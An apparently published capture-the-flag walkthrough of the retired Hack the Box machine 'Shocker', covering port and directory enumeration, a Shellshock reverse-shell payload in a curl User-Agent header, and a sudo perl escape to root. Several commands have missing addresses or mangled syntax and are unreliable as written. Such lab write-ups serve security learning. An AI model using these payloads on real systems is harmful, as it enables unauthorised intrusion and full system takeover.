Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Shocker

September 12, 2019 by Security Ninja

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Shocker.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Shocker, is retired.


The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Shocker machine IP is

3. We will adopt the same methodology of performing penetration testing as we have used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.

4. As usual, let’s start with a nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Shocker>>

5. We got two ports, 80 and 2222, where 2222 was for SSH.

6. We enumerate port 80 and find just this picture. Since we’re completely stuck, let’s enumerate the directories.

7. The initial few dictionaries result in only index.html, which was bit surprising. While using dirb, we got a hit on cgi-bin as well, which was restricted. OK, this is encouraging.

8. Let’s use this again with gobuster with the possible extensions .php, .sh and .html.
<<gobuster -u -w /usr/share/wordlists/dirb/common.txt -t 30 -x .php,.sh,.html>>

9. There was an file detected. Let’s see what this file is doing.
<<curl -vvv>>

10. The guess at this time was to try “shellshock” on this server. Below is a successful attempt.
<<curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ 0>&1’>>

11. We got into user “shelly.” We can now directly read user.txt.
<<cat user.txt>>

12. Let’s escalate privileges to root. The very first enumeration reveals that the user can run any command with Perl binary as root.
<<sudo -l>>

13. We’ll now use that to escalate the shell.
<<sudo perl -e ‘exec’ “/bin/sh”>>

14. We finish by reading the root.txt box.
<<cat /root/root.txt>>

And we’re done!

So, Shocker was one of the easiest boxes yet in HTB, but the initial entry into the system can cause someone to travel down some odd rabbit holes.

We will continue this series with more interesting HTB machines.

Posted: September 12, 2019
Security Ninja
View Profile